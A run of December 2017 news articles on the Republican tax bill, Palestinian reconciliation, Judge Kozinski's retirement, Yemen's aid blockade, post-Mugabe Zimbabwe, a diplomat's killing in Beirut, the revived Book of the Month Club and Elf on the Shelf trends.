Following the House vote, the Senate will vote on the measure later Tuesday, according to Senate Republican leader Mitch McConnell. If both houses approve the measure, it will be sent to President Donald Trump for him to sign into law, completing the first extensive modification of the U.S. tax code in more than 30 years and giving Trump his first major legislative victory.

Republican lawmakers appear to have the votes to permanently cut corporate taxes from 35 to 21 percent, temporarily and modestly reduce taxes paid by wage and salary earners, and boost Americas national debt by up to $1.5 trillion.

The non-partisan Tax Policy Center concluded Monday the bill would cut taxes for 95 percent of Americans next year, but average cuts for top earners would greatly exceed reductions for people earning less.

The legislation also partially repeals former president Barack Obama's signature health care law and is expected to add nearly $1.5 trillion to the federal debt during the next decade.

Republican supporters of the measure are hoping that eight consecutive years of U.S. economic growth will continue and accelerate due to a stimulus they hope the tax cuts will provide.

"This is going to make such a positive difference in the lives of working Americans," House Speaker Paul Ryan told reporters Tuesday on Capitol Hill.

Democratic opposition



Democrats, who were excluded from the Republican closed-door bill drafting meetings, are unanimously opposed to the measure. They have argued the tax package favors big corporations and the wealthy, largely ignores the middle class and forces the elderly to pay a heavy price.

"There are so many rip-offs in this bill that people are going to say this is some kind of new Gilded Age," said Ron Wyden, the highest-ranking Democrat on the Senate Tax Committee.

Unless Republicans withdraw their support at the last minute, Congress could send the tax bill to the White House for Trumps signature as early as Wednesday. Minority Democrats do not have the votes to kill the bill on their own, but have vowed to make it a major campaign issue in next years midterm elections.

As the Republican bill moves closer to becoming law, many polls show that most Americans oppose it.

A Harvard CAPS-Harris survey conducted between December 8-11 indicates 64-percent of American voters oppose the measure. A new CNN poll conducted by the research firm SSRS shows 55-percent of Americans oppose it, a 10-percent increase since early November. A Reuters/Ipsos released on December 11 found nearly half of Americans opposed the plan.

When asked about the bill's weak showing in the polls, Ryan said he had "no concerns whatsoever," and added "when you have a mudfest on TV  thats whats going to happen. Results are going to make this popular."
The cloud over Palestinian aspirations created by the U.S. recognition of Jerusalem as the capital of Israel may have had a silver lining: the announcement served to distract from the failure of Fatah and Hamas to meet their self-imposed deadline for reconciliation.

President Donald Trumps Dec. 13 announcement came just three days after the date that had been set by the rival Palestinian factions for the handover of government ministries and key security responsibilities in the Gaza Strip from Hamas to the Fatah-led Palestinian Authority, which was driven out of the coastal enclave in 2007.

Even after a 10-day extension, the deadline for a reconciliation deal passed with no announcement, a failure that was quickly overshadowed by the U.S. decision on Jerusalem.

Trumps announcement provided a bit of cover when it was needed, said analyst Nathan Stock of the Washington-based Middle East Institute. In a telephone interview, he said Trump has been somewhat helpful in the short term as (his announcement) distracts attention from the fact that the reconciliation process hasnt been going well.

Ghaith al-Omari, senior fellow at the Washington Institute for Near East Policy, echoed Stocks sentiment.

The Dec. 10 deadline was too ambitious, and it was on its way to be missed anyway, al-Omari told VOA. But all attention right now is focused on the Jerusalem issue, which may create the space for Egypt to broker a more realistic timeline between Hamas and the PA.

The Palestinian territories have been effectively split since a violent struggle in 2007, with the Palestinian Authority controlling the West Bank and the more militant Hamas in control of the Gaza Strip. However the two agreed on Oct. 12 to begin negotiations on reunification, with Egypt serving as mediator.

Hamas decision to effectively cede power was driven by an ongoing humanitarian crisis in Gaza. A combination of Hamas's poor governance, sanctions imposed earlier this year by the PA and Egypts closure of its main border crossing with Gaza had left Palestinians trapped in the territory with little access to electricity or international aid.

The proposed reconciliation has afforded the Palestinian Authority, run by President Mahmoud Abbas Fatah Party, the opportunity to return to full governance of the territories. That in turn would legitimize its claim to represent all Palestinians  a point of historic contention in peace talks with Israel and the international community.

The reconciliation agreement stated that the PA would remove all punitive sanctions against Gaza in exchange for assuming full administrative control, while some Hamas personnel would be merged into the new PA-controlled ministries. The two sides agreed to meet again in Cairo on Nov. 21 to discuss the logistics of the partnership, centering on the formation of a unity government.

But before the Cairo meeting, Hamas distributed roughly a third of its territory to armed militias, including its own military wing. Fatah interpreted the move as an indication that Hamas would not honor its agreement to cede control of the territory. Hamas, for its part, feared that Fatah had little intention of integrating the organization into the political process once the PA regained administrative control.

When Hamas and Fatah reconvened again on Nov. 21 and 22, they addressed issues of national unity, Israeli behavior, and their shared aspiration to be an independent Palestinian state based on the 1967 borders  a goal accepted by Hamas for the first time in a new charter earlier this year.

Notably, the organizations declared that the Palestine Liberation Organization (PLO) is the sole legitimate representative of the Palestinian people and agreed to hold general elections by the end of 2018, leaving the exact date to the discretion of President Abbas. Hamas and Fatah agreed to continue talks in February in coordination with Egypt.

The restoration of PA authority in Gaza was to have been completed by Dec. 1, a deadline that was later pushed back to Dec. 10. But as the year winds down, Hamas remains in control of the Gaza Strip and the PA sanctions against Gaza remain in place.

With difficult questions about the future of Hamas security forces and its network of smuggling tunnels still in question, the sides cannot agree even on whether administrative control of the ministries in Gaza has been completed. Hamas claims to have handed control of all government ministries to the PA, but PA spokesman Yousef Mahmud, quoted in the Times of Oman, said his organization had not yet received full control of key ministries.

Hamas spokesman Fawzy Barhoum responded in an interview with AFP, saying Mahmud was trying to cover up the government's failure to carry out its duties to the people of Gaza.

Despite the impasse, analyst Khaled Elgindy of the Brookings Institute said it is important to take the long view on the reconciliation process.

Deadlines have been missed before. The general view is that, as long as both parties are moving in the right direction, progress is being made.
A prominent U.S. appeals court judge announced his retirement Monday days after women alleged he subjected them to inappropriate sexual conduct or comments.

Judge Alex Kozinski of the 9th U.S. Circuit Court of Appeals said in a statement that a battle over the accusations would not be good for the judiciary. He said he'll step down, effective immediately.

The Washington Post reported last week that at least 15 women made allegations against Kozinski that go back decades. The allegations include inappropriate touching and lewd comments.

Kozinski said while speaking in a "candid way" with male and female law clerks, "I may not have been mindful enough of the special challenges and pressures that women face in the workplace," the statement said. "It grieves me to learn that I caused any of my clerks to feel uncomfortable; this was never my intent. For this I sincerely apologize."

Leah Litman, a law professor at the University of California, Irvine, told the Post that the judge talked about having just had sex and pinched her side and leg at a restaurant the night before they appeared together on a panel at her school in July.

Christine Miller, a retired U.S. Court of Federal Claims judge, said Kozinski grabbed her breasts during a car ride in 1986 after a legal community function in the Baltimore area. She said it came after she declined his offer to go to a motel and have sex.

A lawyer who was not identified said Kozinski approached her when she was alone at a legal event in Los Angeles in 2008 and kissed her on the lips and gave her a bear hug with no warning.

The newspaper said the woman's husband confirmed the incident and said the couple didn't think they could do anything because of the judge's position.

The Post reported last week that six former clerks or more junior staff members accused Kozinski of inappropriate behavior, including showing them pornography.

Kozinski, 67, was chief judge of the 9th Circuit, the largest federal appeals court circuit in the country, from 2007 to 2014. He is known for his irreverent opinions, and his clerks often win prestigious clerkships at the U.S. Supreme Court.

The 9th Circuit has opened a misconduct inquiry that was transferred Friday to the Judicial Council of the 2nd U.S. Circuit Court of Appeals in New York.

Kozinski's retirement leaves five seats open on the 9th Circuit, with two more judges already having announced their intention to retire next year. That gives President Donald Trump potentially seven seats to fill on the largest and most liberal appeals court in the country.

Even if all those judgeships are filled, however, Democratic appointees still will maintain a healthy majority on the court with 17 of the 29 seats.
The U.S. Senate prepared to vote late Tuesday on an overhaul of the federal tax code, a step toward President Donald Trumps first major legislative victory on a bill that is expected to trigger far-reaching consequences for the U.S. and global economy.

If approved by the Senate, the bill will have to go back to the House of Representatives for another vote.

Earlier Tuesday, the House passed a version of the legislation that leaders expected would be their final action on the matter. But Senate Democrats found procedural glitch that forced Republicans to change the bill and send to back to the House.

Bill bitterly divides Republicans and Democrats

Trump took to Twitter to hail "all great House Republicans who voted in favor of cutting your taxes!"

The battle immediately shifted to the Senate, where Republicans said they have the votes for passage.

"This is a great day for America because we're going to pass a pro-growth, pro-jobs, pro-America bill," said Senate Finance Committee Chairman Orrin Hatch, a Utah Republican.

"Republicans will rue the day they passed this bill," said Senate Minority Leader Chuck Schumer, a New York Democrat. "Republicans have taken what they call a once-in-a-generation opportunity on tax reform and squandered it on corporate welfare and tax cuts for the rich."

The bill permanently slashes corporate taxes, temporarily cuts taxes paid by American wage and salary earners, caps popular tax deductions, and hikes the U.S. national debt by at least $1 trillion over a decade.

Praise from Republicans

Republicans argued tax cuts will supercharge the U.S. economy and make American businesses more competitive at home and abroad.

"We have labored for too long behind the rest of the world," said Pennsylvania Representative Mike Kelly. "Corporations will stay [in the United States]. They will make investments in land and bricks and mortar, equipment, education and making our workers the best workers in the world and able to compete anywhere and win."

Republican Senator John Thune of South Dakota said, "Countries around the globe are getting the message, loud and clear, that America is committed to leading in the 21st century. We're committed to leading when it comes to innovation and growth. We're committed to leading when it comes to ensuring that American companies can stay here and compete and keep jobs here against foreign competition."

Criticism from Democrats

Democrats slammed the bill as mortgaging America's future in order to pad the pockets of the wealthy.

"From the start, this bill was laser-focused on showering multinational corporations, special interests, and heirs-in-waiting with a never-ending stream of tax breaks," Oregon Senator Ron Wyden said. "The giveaways were made possible only by digging into the pockets of the middle class."

"For years I've heard members of the majority [Republicans] come to the floor talking about the need to address the national debt," Democratic Representative Louise Slaughter of New York said. "This bill explodes the deficit by $1.5 trillion."

The nonpartisan Tax Policy Center concluded the bill would cut taxes for 95 percent of Americans next year, but average cuts for top earners would greatly exceed reductions for people earning less.

The legislation also partially repeals former President Barack Obama's signature health care law, eliminating the requirement that Americans purchase health care insurance. As a result, some 13 million fewer Americans would be insured over the next decade, according to the Congressional Budget Office.

Pro, con predictions

Republicans said a multitude of benefits will flow from the tax bill, including the repatriation of vast sums held by U.S. corporations oversees and a surge of investment domestically that would create jobs and raise wages.

"Is it good to bring back investment and offshore income here? Yes," Representative Greg Walden of Oregon said. "That creates really good paying jobs."

Democrats disputed the rosy predictions.

"What has been sold as a job creator and wage booster will, of course, do little of either, as companies are already initiating stock buybacks worth hundreds of millions of dollars, instead of hiring more workers and raising wages," Schumer said.

Democrats also focused on the tax bill's generous provisions for wealthy landowners and investors, including Trump.

"How many millions of dollars the Trump family will personally stuff in their pockets cannot be precisely determined," Texas Democratic Representative Lloyd Doggett said.

Trump has said he expects to be worse off financially, not better off, as a result of the tax bill. Democrats countered that Trump's assertion is meaningless until he releases his tax returns.

Some Democrats all but conceded defeat.

"The majority has the votes and there is not much Democrats can do to stop it," Slaughter said.

Republicans were unapologetic in anticipation of victory.

"We do come to Washington to cut taxes and let people keep more of their hard-earned money," Wyoming Senator John Barrasso said. "And we're doing that today."

Public opinion polls consistently showed more Americans opposing than backing the bill. Several Republican lawmakers have blamed the news media, saying reporters misrepresented the tax bill and downplayed its potential benefits.
The United States is urging the complete return of food and humanitarian aid deliveries to Yemen including construction of new cranes to unload ships at the port of Hudaydah.



Saudi Arabia imposed a blockade on Yemeni ports last month after Houthi rebels fired a suspected Iranian-made missile near the Riyadh airport.



The blockade is preventing aid from getting to those who are in desperate need, including fuel needed to run generators to power hospitals and water treatment plants.



State Department spokeswoman Heather Nauert said no humanitarian or commercial shipments have reached Hudaydah since late November.



Deputy Secretary of State John Sullivan and U.S. Agency for International Development chief Mark Green met last week with U.N. and other relief officials on the situation in Yemen.



Sullivan said a political solution is the only away to achieve long-term stability in Yemen.



Green said the United States is "ready to respond to this humanitarian catastrophe" with the Trump administration announcing another $130 million in emergency food aid to Yemen.



The Saudis say they have sent large amounts of aid to Yemen, but not to areas controlled by the Houthis. They have accused the rebels of stealing and selling the food and medicine.



The Iranian-backed Houthis seized the Yemeni capital of Sana'a in 2014, driving the internationally-recognized government into exile to Saudi Arabia. It has since returned and set up shop in the southern port city of Aden.



Saudi-led airstrikes aimed at pushing the Houthis out of Sana'a and northern Yemen have killed thousands of civilians and obliterated entire neighborhoods.



The fighting comes on top of a cholera epidemic in Yemen and the threat of famine.
Less than a month after a military intervention forced longtime leader Robert Mugabe to step down, new leaders of the ruling ZANU-PF party have big plans for Zimbabwe.

Retired General Sibusiso Moyo announced the military takeover on November 15 and has been appointed to serve as foreign minister. He sees opportunities to revive Zimbabwes struggling economy.

Our primary interest at the moment is economic development and emancipation of our people, Moyo told VOAs Zimbabwe Service. Zimbabwe's long-ailing economy will recover, according to Moyo, through direct foreign investment, tourism and exports to worldwide markets.

ZANU-PF hopes to jump-start the economy by collaborating with Zimbabweans in the diaspora and creating a more appealing environment for investment. We are opening up to all our friends, Moyo said.

Zimbabwe isnt poor

The ruling party is right to focus on Zimbabwes economy as it defines its post-Mugabe platform, according to Chipo Dendere, a visiting assistant professor of political science at Amherst College in Massachusetts. But to truly open up, the country must come to terms with endemic corruption.

Zimbabwe isnt poor, Dendere told VOA, speaking over the phone from Harare. In fact, the country is endowed with valuable minerals such as gold, diamonds and platinum. But, Dendere said, the wealth has been stolen. During Mugabes regime, he and his allies stole more than $2 billion in diamond revenue, according to Partnership Africa Canada (PAC), a group tracking mismanagement of global natural resources.

So far, the government seems to be putting pressure on officials to bring back money, according to Dendere. But with so many people who have stolen, it's unclear how the government will serve a greater good without violating human rights or falling into partisan traps.

If the government fails to deal with the economic challenges, then Zimbabwe is going to be in great disarray, Dendere said. Fixing Zimbabwes economy begins with addressing its many infrastructure problems, such as pothole-ridden roads and an aging and leaky water system.

Real change?

Some, including Dendere, remain skeptical that ZANU-PF will enact real change. Its one thing to be excited about a new government. But I think people need to be cognizant of the fact that the people that are in power right now ... are the same people that have been in power for the last 37 years, Dendere said.

The government has not, in fact, changed, Moyo conceded, but it will do things differently with new personalities in power.

Dendere, meanwhile, questions whats new. The ideology for the ruling party is unlikely to change, she said, based on language used at the party congress this month.

Still, Moyo sees opportunities for dialogue and improvement. We are not a government of a party. We are a government of all the people of Zimbabwe. And therefore, when there are issues which need dialogue, they must be discussed in house, Moyo said.

For Dendere, aspects of ZANU-PFs legacy are, in fact, worthwhile. This is the legacy that brought us independence, the end of colonialism. But its also the legacy that gave a lot of power to one party and the centralization and consolidation of power around the president and the people that are closest to him.

Space for opposition

Zimbabwe is due to hold elections next year. ZANU-PF will have more than half a year to consolidate power and win over citizens who had become disenchanted with Mugabes rule. But Dendere said opposition parties would be more competitive than ever in 2018 if they could hone their messaging.

The MDC Alliance represents eight opposition parties. Theyve struggled to convey a compelling message, Dendere said, because ZANU-PF has co-opted their old mantra: Mugabe must go. Now, they need to find a voice of their own.
Follow Wednesdays updates here: GOP tax bill passes Congress

Republicans are on the verge of passing the most significant overhaul of the tax code since 1986, after the Senate passed the GOP plan early Wednesday morning and House leaders scheduled a vote to quickly send it to President Trump.

The sprawling plan would cut the corporate tax rate dramatically and provide new breaks for other businesses. It also would lower income tax bills in 2018 for the vast majority of households, though the wealthy would see far more relief than the middle class and working poor.

The plan would revise nearly every part of the tax system by lowering income tax rates at all levels and restructuring deductions. And it extends beyond taxes and into health care by scrapping a central part of the Affordable Care Act.

The bill passed the Senate 51 to 48 just before 1 a.m., with no Democrats backing the bill while all Republicans present voted for it. Sen. John McCain (R-Ariz.) did not attend the vote as he undergoes treatment for brain cancer. He said earlier this month that he supported the bill.



House Speaker Paul D. Ryan R-Wis.) listens during a news conference after a GOP conference meeting at the U.S. Capitol on Dec. 19, 2017. (Andrew Harrer/Bloomberg News)

The plans passage had not been in doubt since Friday, when holdout Republican Sens. Marco Rubio (Fla.) and Bob Corker (Tenn.) pledged to support it.

Congress is standing at the doorstep of a historic opportunity, Senate Majority Leader Mitch McConnell (R-Ky.) said Tuesday ahead of the vote. Heres what we set out to do: Take money out of Washingtons pockets and put it back in the pockets of middle-class Americans.

House Republicans thought they had finished their tax work on Tuesday afternoon when they passed a version of the bill 227 to 203. But the effort hit a snag Tuesday afternoon when the Senate parliamentarian ruled that three of its provisions violated that chambers Byrd Rule  guidelines on what types of legislation can pass with a simple 50-vote majority.

To comply with the Byrd Rule, the Senate made minor tweaks to the bill before passing it, requiring the House to vote again as the two chambers must pass identical versions. The House is slated to vote Wednesday midday, and none of the changes are expected to cost the plan GOP support.

[Last-minute real estate perk in tax plan prompts blowback for Corker]

Despite the delay, Republicans celebrated Tuesday in anticipation of their plan passing, their first major legislative victory of the Trump presidency.

Trump has for months pushed Republican lawmakers to send him a tax plan by Christmas and is expected to sign the measure at a ceremony shortly after it clears Congress.

This is one of the most important pieces of legislation Congress has passed in decades. . . . For all those millions of Americans struggling paycheck to paycheck, help is on the way, House Speaker Paul D. Ryan (R-Wis.) said after the House vote. This is a good day for workers . . . and a great day for growth.

The core of the plan is a massive and permanent cut to the corporate tax rate, dropping it from 35 percent to 21 percent.

The bill also would cut individual tax rates for all income tax levels. Families earning less than $25,000 a year would receive an average tax cut of $60, while those earning more than $733,000 would see an average cut of $51,000, according to the nonpartisan Tax Policy Center.

Many of the breaks for individuals are set to expire in the coming years. Republicans set those expiration dates to comply with Senate limits on how much their legislation could add to the nations deficit, and they say a future Congress will extend the cuts or make them permanent.

But without intervention, the measure would raise taxes on 53 percent of Americans by 2027, according to the TPCs report.

The bill also restructures a complicated system of deductions many households and businesses use to lower their tax bills. The standard deduction, taken by many middle- and low-income households, would double, and a child tax credit would be expanded. But other money-saving provisions, including a deduction on interest paid on new-home mortgages and a provision allowing Americans to deduct what they pay in state and local taxes, would be curtailed.

[Read the full GOP tax bill]

Of the 12 Republicans in the House who voted against the bill, 11 represent districts in New York, New Jersey or California. Those states are expected to be hit hard by the bills reduction of the state and local tax deduction, which helps those in high-tax states.

Many in my area could face higher taxes under this plan, Rep. Darrell Issa (R-Calif), one of the no votes, said in a statement before the vote. Californians have entrusted me to fight for them. I will not make the incredible tax burden they already endure even worse.

The bill also would reduce the estate tax, a levy on inheritances paid only by the wealthiest estates. Under the bill, a couple could pass on up to $22 million in assets without their legatees having to pay the tax.

The bill also would void an Affordable Care Act requirement that nearly all Americans obtain some form of health coverage or pay a penalty. The change is projected to reduce government spending by $300 billion over a decade but also eventually leave 13 million more people with no health insurance.

Republicans have touted their bill as a middle-class tax cut and have promised that it will produce enough economic growth to boost hiring and workers wages, and create enough revenue to keep it from enlarging the deficit.

In an analysis of an earlier version of the bill, the Joint Committee on Taxation , Congresss official tax scorekeeper, projected that the bill would add $1 trillion to the deficit over a decade, even when projected economic growth is taken into account. That figure would grow substantially if the individual tax cuts were extended, and Republicans predict that they will be.

[Trump, at last, looks to notch a legislative win with tax bill. But can he redirect his presidency?]

The JCT projected that the earlier version of the plan would boost economic growth by 0.8 percent over a decade, far lower than the 3 percent growth Republicans on Tuesday promised their plan would unlock.

We have not had a 3 percent economy since before the last recession, Ryan said before the vote. Tax reform will get us a 3 percent economy.

Democrats unanimously oppose the plan but lack the votes to block it in either chamber. The sidelined minoritys members have spent months bashing the plan as a giveaway to corporations and the wealthy.

Today is a terrible day for millions of hard-working people, but it is a great day for giant multinational corporations and billionaires who fund Republican campaigns across this country, Sen. Elizabeth Warren (D-Mass.) said on the Senate floor Tuesday ahead of the vote. Its not tax reform. Its a heist.

During the House vote, Treasury Secretary Steven Mnuchin and a handful of his staff members watched the proceedings from the public gallery. The Republican caucus rose in near unanimous applause after the final vote was counted, then went to congratulate Ryan and House Ways and Means Committee Chairman Kevin Brady (R-Tex.) with smiles and pats on the back.

There were signs of opposition, as well. A handful of activists sitting in the public gallery repeatedly interrupted Republicans as they introduced the tax measure in the House, and a separate group interrupted the Senate vote with chants of kill the bill.

Several of the House protesters were escorted out by Capitol Police officers.

You are lying to yourselves! one activist yelled as she told House Republicans they needed to go back to school to learn math. The barb elicited laughter among the Democrats on the House floor.

A woman in a wheelchair chanted, Shame! Shame! as she was removed from the gallery.

Polling suggests that the public is broadly skeptical of the plan. A CNN poll released Tuesday found that only 33 percent of Americans support it, with 66 percent of the country thinking it does more for the wealthy than for the middle class.

But Ryan said he had no concerns whatsoever about the bills polling, arguing that public support would swing in favor of the package once taxpayers see their after-tax incomes rise.

Results are going to make this popular, Ryan said.

Read more:

Will your taxes go up or down in 2018 under the new tax bill?

The Finance 202: The GOP tax plan's lopsided numbers

Republicans say it's a tax cut for the middle class. The biggest winners are the rich.
Lebanese Security authorities have identified the alleged murderer of Rebecca Dykes as Tariq H., a Lebanese working for Uber company.

Arrested on Monday, Tariq H. confessed to the Lebanese Internal Security Forces (ISF) to have killed the British diplomat positioned at the UKs mission in Beirut.

Dykes affectionately known as Becky was found on Saturday, her body dumped by the side of a busy highway, north of the Lebanese capital.

First forensic tests done on Sunday showed that the 30-year old lady was strangled.

According to press reports, the driver killed her after she resisted his sexual assault.

A senior police official involved in the investigation said the crime was not politically motivated.

Dykes joined her post at the British mission in January 2017 and was working at International Development desk. She formerly worked with the British government on Libya and Iraq.

Uber confirmed the alleged murderer was working with the company.

Tariq H. is reportedly known to police for committing several crimes including drug use.
Book critic

Talkies! Radios! Credit cards!

The 1920s roared with jazzy ideas, though perhaps none as novel as the Book of the Month Club, which debuted in 1926. It was the brainchild of Harry Scherman, an ad man who had found success earlier by selling Shakespeare plays with Whitmans chocolates.

A growing middle class with limited access to bookstores and even less idea of what to read rushed to sign up for Schermans new club. Among the selections that first year was a debut novel by a young man named Ernest Hemingway. Coincidentally, The Sun Also Rises is also a fitting epithet for the Book of the Month Club, which rose to become a major force in American publishing with millions of members and all manner of attendant clubs for cookbooks, history books, records and even art reproductions.

Alas, Ecclesiastes got it right: The sun also ariseth, and the sun goeth down. After getting manhandled by various corporate owners and withering under the shadow of Amazon, the lights flickered out at Book of the Month in 2015.

That should be the end of the story. But a funny thing happened on the way to obsolescence. A man named John Lippman, 43, with a background in music and private equity, bought a controlling interest in the company that owned Book of the Month. He had a plan to make the old club jazzy once again.



From Book of the Month Instagram account (Book of the Month)

A streamlined BOTM launched in late 2015. Now, each month, members choose one of five hardcover books for $14.99 . Period. No paper catalogues to page through, no order cards to return, no shipping charges to pay.

That may sound ho-hum. But this is not your grandpa's mail-order book club; it's your college-age daughter's subscription box service. It's webby. It's social. And it's aimed at readers who love opening cosmetics from PopSugar Must Have. In keeping with that demographic, Instagram is central to BOTM's marketing plan. More than 300,000 followers engage with the company's cozy photos of new titles. A recent post shows Alice Hoffman's "The Rules of Magic" next to a pygmy hedgehog in a coffee mug because who can resist that?

Lippman describes his approach as the opposite of Amazons. (Amazon founder and chief executive Jeffrey P. Bezos owns The Washington Post.) Instead of trying to be the everything store for every possible customer, the new BOTM goes narrow and delineates a specific demographic: millennial women. Admittedly, this is not a radical idea in bookselling. As far back as 1900, an editor at Harper and Brothers noted that feminine readers . . . control the destinies of so many novels.



From the Book of the Month Instagram account. (Haley Smith)

What is radical, though, is BOTMs willingness to publicly define itself for feminine readers. The clubs first television ad, released last month, shows several women who seem to be talking about their periods. In the final shot, a young woman standing in front of her apartment leans toward her date and whispers, Id invite you up, but I just got . . . my book of the month.

We have a particular audience, Lippman says, women in their 20s and 30s. We spend a lot of time and effort looking for great finds that theyll love.

So far, the results are encouraging. With about 40 full-time employees, BOTM has more than 100,000 members and expects to bring in more than $10 million in revenue this year.

A lot of it has to do with our team of people, Lippman says, many of whom are younger than me, and many of them are women. The BOTM editorial group works with publishers to identify potential offerings months before publication. The selections are about 80 percent fiction; the rest are memoirs, narrative nonfiction, some true-crime. Most of the books are written by women. Bloggers, journalists and celebrity guest judges, such as Gabrielle Union and Roxane Gay, sometimes make selections. And the club constantly gathers feedback from existing members. Human judgment seems in no danger of being ruled out by algorithms  yet.

There are some books in the literary tradition that are very harsh and angry, and they have an important role in the culture, Lippman says. But the tone that our members like is emotional, warmhearted. Our members are looking for uplifting stories, inspirational stories. They love stories about people who persevere against challenges in their lives, versus books that offer harsh comments on the state of the world.

But despite that Oprahesque melody, BOTM has featured many novels that no one would shelve under Warmhearted. In September, for instance, the club offered Jesmyn Wards Sing, Unburied, Sing, a devastating story about racism, addiction and the modern legacy of slavery. In October, members could choose Naomi Aldermans The Power, a ferocious novel that imagines women can electrocute people with their hands. Both books went on to win wide critical acclaim.

[Jesmyn Wards powerful new novel, Sing, Unburied, Sing]

Lippman also isnt interested in pushing only bestsellers, even though they have a more predictable audience. We put a particular focus on debut and emerging authors, he says, noting that three quarters of their titles fall into the category of lesser-known writers. I felt that was what was missing in todays bookselling ecosystem. What I think Book of the Month has done for 90-plus years  and is as important as its ever been  is to support great and highly talented books and authors that people love and help them connect. Its not about having a small impact on a huge number of books. Its about having a huge impact on the limited number of books we sell.

[Demand for Naomi Aldermans feminist novel The Power outstrips supply]

That idealistic devotion to new voices has its limits, though. A recent email solicitation from BOTM promising "The best books you've never heard of" featured books by Hollywood celebrities Tom Hanks and Krysten Ritter, bestsellers Alice Hoffman and Andy Weir, and the National Book Award-winning novelist Louise Erdrich. Not exactly discoveries from some dark hamlet deep in the literary forest.



December selections from Book of the Month. (Book of the Month)

But Lippman cites BOTMs recent success with Beasts of Extraordinary Circumstance, by an unknown debut novelist named Ruth Emmie Lang. We identified it early on as a warm, whimsical book that we thought would work well with our members, Lippman says. The official publication date was Nov. 14, but BOTM made arrangements with St. Martins to sell the novel in October. That decision paid off: BOTM sold 15,000 copies of Beasts, more than were sold by all other booksellers in the country combined.

When you consider the usual terms of this business, Lippmans strategy looks even riskier: BOTM isnt offering books that can be returned to publishers if they dont sell. The company prints its own proprietary editions with subtly branded covers. The text is the same, of course, but a BOTM copy of Jennifer Egans Manhattan Beach or Celeste Ngs Little Fires Everywhere looks just a little classier than the one you can buy from Amazon or your local indie. (For one thing, there are no blurbs screaming on the dust jackets.) Lippman says customers appreciate those special editions, but if his staff misjudges demand for a certain title, he could be stuck with thousands of paper doorstops.

Whether BOTM can keep rising will depend on how successfully it anticipates young womens tastes and continues to attract more members in the crowded field of subscription-box book clubs. More than 100 currently compete for readers in every imaginable genre  from mysteries and inspiration to history and witchcraft. (Taking a page from Harry Schermans original scheme, some of these services offer books with chocolates.) And many indie bookstores across the country provide their own monthly selections specifically tailored to each customers interests.

Still, BOTM has found a devoted group of intensely literate consumers. Even if the company never attains its former glory in the realm of American publishing, the old bookseller has learned how to dance to a new tune.

Ron Charles is the editor of Book World and host of TotallyHipVideoBookReview.
Earlier this month in Orlando, possessed by either a rush of Christmas spirit or a sixth sense that supernatural forces were afoot, a German shepherd named Zoey plucked an Elf on the Shelf named Sam from its perch and ripped off his arm.

Aubrie, the 7-year-old human of the residence, woke her mother with a horrified scream. Jenn Thelen immediately realized the peril of the situation.

I had to pick Sam up with a blanket, says Thelen, because Elves on the Shelves  foot-tall plush beings sent by Santa Claus to observe American children in the month before Christmas  cant be touched by mortals.

And then?

I told Aubrie that Mommy knew special doctors who could fix Sam up.

Thelen, a nurse manager, and her husband, an ambulance driver, coordinated with colleagues during a slow period at their hospital. Doctors donned protective Santa gloves, applied a dash of medicinal glitter. The medical center, Arnold Palmer Hospital for Children, cheekily posted photos on its social media accounts.

It went absolutely insane, Thelen says.

She was bombarded by well-wishers saying that the story of the surgical procedure was the heartwarming lift they needed. She also heard from commenters grousing that the domestic domination of the Elf on the Shelf, which has sold approximately 11 million dolls since inception, had truly and irredeemably gone too far.

Twelve years after the toy was birthed as an ingenious reminder for children to behave at the holidays, Elves of the current Christmas season are not content to merely sit on their shelves.

Once, the idea was simple.

Child-friendly version: The elf would vanish from his shelf overnight  on a quick trip to the North Pole to report whether the household had been naughty or nice  only to reappear by morning in a surprising new location.

Adult-friendly version: Grown people are spending a lot of nights moving around a doll.

But the Elves on the Shelves of 2017 are no longer satisfied to alight in the shower caddie or on the top of the refrigerator. The Elves on the Shelves of 2017 demand a mise-en-scene. Behold, the Instagram accounts of some of your more industrious parent-friends:

Their elves are making snow angels out of flour on tasteful quartz countertops.

Their elves are racing the resident teddy bear and Shopkins doll in a potato-sack race tableau. Or floating around the living room in miniature hot-air balloons until the children wake up. Or posing in elaborate "Stranger Things"-inspired dioramas.



Smarty appeared one morning in a diorama inspired by the TV series Stranger Things. (Pickleheadsoup.blogspot.com)

"At some point I made a Facebook page for the elf," says Amy Stossel, an Ohio pharmacist and owner of an elf named Smarty, the protagonist of the aforementioned "Stranger Things" scenario. "And now the elf has 5,000 followers. I never set out intending for it to be a thing."

It was low-key at first, Stossel says. But then she started posting photos of Smartys location online, mostly for the grandparents, and then other people started reposting the photos, and then Stossel felt that she should step it up a little. She was also running out of shelves for Smarty to sit on.

So, there Stossel was recently, rooting around in the basement for a toy dinosaur to create a Jurassic World-based display. Or looking for a camel so that Smarty could be seen celebrating hump day.

I did go out and buy the tiny camel, which violated our rule that we werent going to buy anything for the elf, Stossel says. Also a tiny Fisher-Price phone, and my husband was like, I cannot believe we purchased this for the elf. 

Last year her daughter confessed that she was questioning Santa Claus, so Stossel and her husband sat her down and explained that Santa was a spirit that lived in peoples hearts.

At least . . . her daughter said. At least Smarty is real.

The Elves on the Shelves of 2017 have gone from being a twinkly disciplinary tool (inspiring a million thinkpieces: Does Elf on the Shelf lead to a dystopian surveillance state?) to lodging themselves, unmovingly, in our belief systems.



Amy Stossel, the owner of Smarty, went hunting for a toy camel to illustrate the arrival of Hump Day. (Pickleheadsoup.blogspot.com)

Every year a new crop of parents discovers Elf on the Shelf. The world is subjected to essays about how the escalating creative demands of the elf are just too much (but some parents like it!), and who can keep up (then dont buy one!), and someone gets a little punchy and before you know it theres a viral photo of an Elf on the Shelf next to a blender, threatening to pulverize a Buzz Lightyear doll.

Pro tip: Sprinkle packets of cocoa into a cake pan, add a daiquiri umbrella, and pretend your elf is reclining on a beach.

Particularly this year, Elves on the Shelves sometimes seem to reflect not the whimsical world of children but the needs of their parents to deal with a confusing world via play therapy. Sometimes this manifests benignly, as it does with Stossel  she enjoys the creative challenges that Smarty brings to her life.

Sometimes this manifests in other ways.

Consider the Instagram account run by a user who goes by Cant Shelf This Elf. In a recent post, an elf wearing a communist red star was positioned in front of a several Russian nesting dolls.

The Russian nesting dolls conspired with Elf, wrote the Instagram user. They promised theyd help him get higher on the shelf. The toys know Russia interfered in last years election and now Elf is using fake news as a deflection. Elf asked Santa to drop the investigation, but the toys are calling for his resignation.



Smarty sits on a tree with a pack of beers six-pack in 2017. (Pickleheadsoup.blogspot.com)

Pro tip: Put your elf on a date with Barbie, but keep his hands in his lap to show that he is respecting her bodily autonomy and waiting for consent.

